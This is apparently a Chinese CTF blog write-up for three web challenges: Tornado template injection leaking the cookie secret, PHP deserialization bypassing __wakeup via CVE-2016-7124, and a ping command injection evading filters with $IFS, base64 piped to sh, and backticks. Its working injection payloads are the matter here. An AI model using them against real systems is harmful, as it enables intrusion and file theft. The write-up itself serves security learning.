hhh今天干了比较多别的事情,然后晚上还打了会ISCC2020,一口气干了三题web,但是比赛还没有结束,就不把wp写在这了
[护网杯 2018]easy_tornado
这题是报错那边可以使用模板注入。输入{{1}}会回显1,但是却不支持运算。
这题关键还是{{handler.settings}}
https://www.cnblogs.com/cimuhuashuimu/p/11544455.html
这个东西就类似于环境变量,于是cookie.secret就是可以在这里找到。
[极客大挑战 2019]PHP
提示备份网站,于是尝试下载www.zip,可以直接下载。
重点在class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
是我们的老朋友,反序列化。
先上POC:
<?php
class baby
{
public $file="flag.php";
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$a = new baby();
echo serialize($a);
为了绕过万恶的__wakeup() 我们可以利用 CVE-2016-7124 , 当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
另外由于private变量在序列化的时候会先生成一个不可见也不可在URL中传递的\0,我们需要手动把那几个空换成%00,变成O:4:"Name":3:{s:15:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 就可以了
[GXYCTF2019]Ping Ping Ping
本来以为是和之前一题ping的一样,但是发现这一题有更严格的过滤,空格、引号、括号都不能用。
但是仍然能用变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
过滤bash用sh执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls`

Comments | NOTHING